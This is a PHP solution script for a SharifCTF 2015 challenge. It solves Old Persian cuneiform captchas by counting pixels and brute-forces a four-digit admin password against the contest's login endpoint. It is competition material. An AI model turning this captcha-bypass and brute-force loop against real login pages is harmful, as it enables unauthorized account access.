SharifCTF 2015 Old Persian captcha

<?php
# Old persian cuneiform captcha
# Solved by PHP
# Accuracy near 20%, That is shit, but we have no time
#
# xeksec team https://forum.xeksec.com

date_default_timezone_set('Europe/London');
header('Content-Type: text/html; charset=utf-8');

error_reporting(E_ALL);
set_time_limit(0);

function ccc($url, $post = null)
{
    if ($ch = curl_init($url)) {
        if ($post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        }
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_COOKIEFILE, '1.txt');
        curl_setopt($ch, CURLOPT_COOKIEJAR, '1.txt');
        curl_setopt($ch, CURLOPT_TIMEOUT, 2);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);
        $content = curl_exec($ch);
        curl_close($ch);

        return $content;
    }
}

$attempt = 1;
$pass = 0;

$ff = false;

do {
    $url = ccc('http://ctf.sharif.edu:32455/chal/oldpersian/ba05b5fdf0057776/captcha/');

    file_put_contents('captcha.jpeg', $url);

    shell_exec('convert captcha.jpeg -crop 16.9%x100% test_%d.png');

    $captcha = getString();

    $post = 'username=admin&password=' . sprintf('%04d',$pass) . '&captcha=' . $captcha;

    if ($cnt = ccc('http://ctf.sharif.edu:32455/chal/oldpersian/ba05b5fdf0057776/login/submit/', $post))
    {
        if (strpos($cnt, 'Invalid captcha') !== false)
        {
            print sprintf('%04d',$pass) . " - " . $captcha . " - " . $attempt . " attempts\n";
            $attempt++;
        }
        else
        if (strpos($cnt, 'Login failed!') !== false)
        {
            print sprintf('%04d', $pass) . " - " . $captcha . " - " . $attempt . " login failed\n";
            $pass++;
            $attempt = 1;
        }
        else
        {
            $ff = true;
            var_dump(sprintf('%04d',$pass));
            var_dump($cnt);
            exit;
        }
    }

} while ($ff === false);

$alphabet = [
    'A' => 678, // 686, 676, 681, 686 ++
    'B' => 505,// 510, 500, 509, 507 +++
    'C' => 638, // 641 ++
    'D' => 512, // ++
    'E' => 168, // 171, 174, 168, 172    +++
    'F' => 711, // 707, 705, 704
    'G' => 702, // +++
    'H' => 880, //888, 873, 875, 877
    'I' => 589, // 579, 584 ++
    'J' => 567, // ++
    'K' => 508, // 514  ++
    'L' => 611, // 610, 615 ++
    'M' => 605, // 607, 604, 608 ++
];


function getString()
{
    $arr = parseImages();

    $word = [];
    foreach ($arr as $count)
    {
        if ($count < 200)
        {
            $word[] = 'E';
        }
        else
        if ($count >= 490 && $count < 510)
        {
            $word[] = 'B';
        }
        else
        if ($count >= 510 && $count < 525)
        {
            $lol = rand(0,1);
            if ($lol == 0) $word[] = 'D'; else $word[] = 'K';
        }
        else
        if ($count >= 550 && $count < 577)
        {
            $word[] = 'J';
        }
        else
        if ($count >= 577 && $count < 595)
        {
            $word[] = 'I';
        }
        else
        if ($count >= 595 && $count < 610)
        {
            $word[] = 'M';
        }
        else
        if ($count >= 610 && $count < 630)
        {
            $word[] = 'L';
        }
        else
        if ($count >= 630 && $count < 650)
        {
            $word[] = 'C';
        }
        else
        if ($count >= 670 && $count < 690)
        {
            $word[] = 'A';
        }
        else
        if ($count >= 690 && $count < 704)
        {
            $word[] = 'G';
        }
        else
        if ($count >= 704 && $count < 740)
        {
            $word[] = 'F';
        }
        else
        if ($count >= 800)
        {
            $word[] = 'H';
        }
    }

    return implode('', $word);
}

function parseAlphabet(){
    for ($i = 'A'; $i <= 'M';$i++)
    {
        $im = imagecreatefrompng($i . '.png');
        $count = imageToMatrix($im, false);

        $s[$i] = $count;
    }
}

function parseImages(){
    for ($i = 0; $i < 6;$i++)
    {
        $im = imagecreatefrompng('test_' . $i . '.png');
        $count = imageToMatrix($im, true);
        $s[] = $count;
    }
    return $s;
}

function imageToMatrix($im, $rotate = false) {
    $height = imagesy($im);
    $width = imagesx($im);

    if ($rotate) {
        $height = imagesx($im);
        $width = imagesy($im);
    }

    $background = 0;
    $count = 0;
    for ($i = 0; $i < $height; $i++)
        for ($j = 0; $j < $width; $j++) {

            if ($rotate) {
                $rgb = imagecolorat($im, $i, $j);
            } else {
                $rgb = imagecolorat($im, $j, $i);
            }

            list($r, $g, $b) = array_values(imageColorsForIndex($im, $rgb));

            if ($i == 0 && $j == 0) {
                $background = $r;
            }

            //if ($r != $background)
            if ($r < 150)
            {
                $count++;
            }
        }
    return $count;
}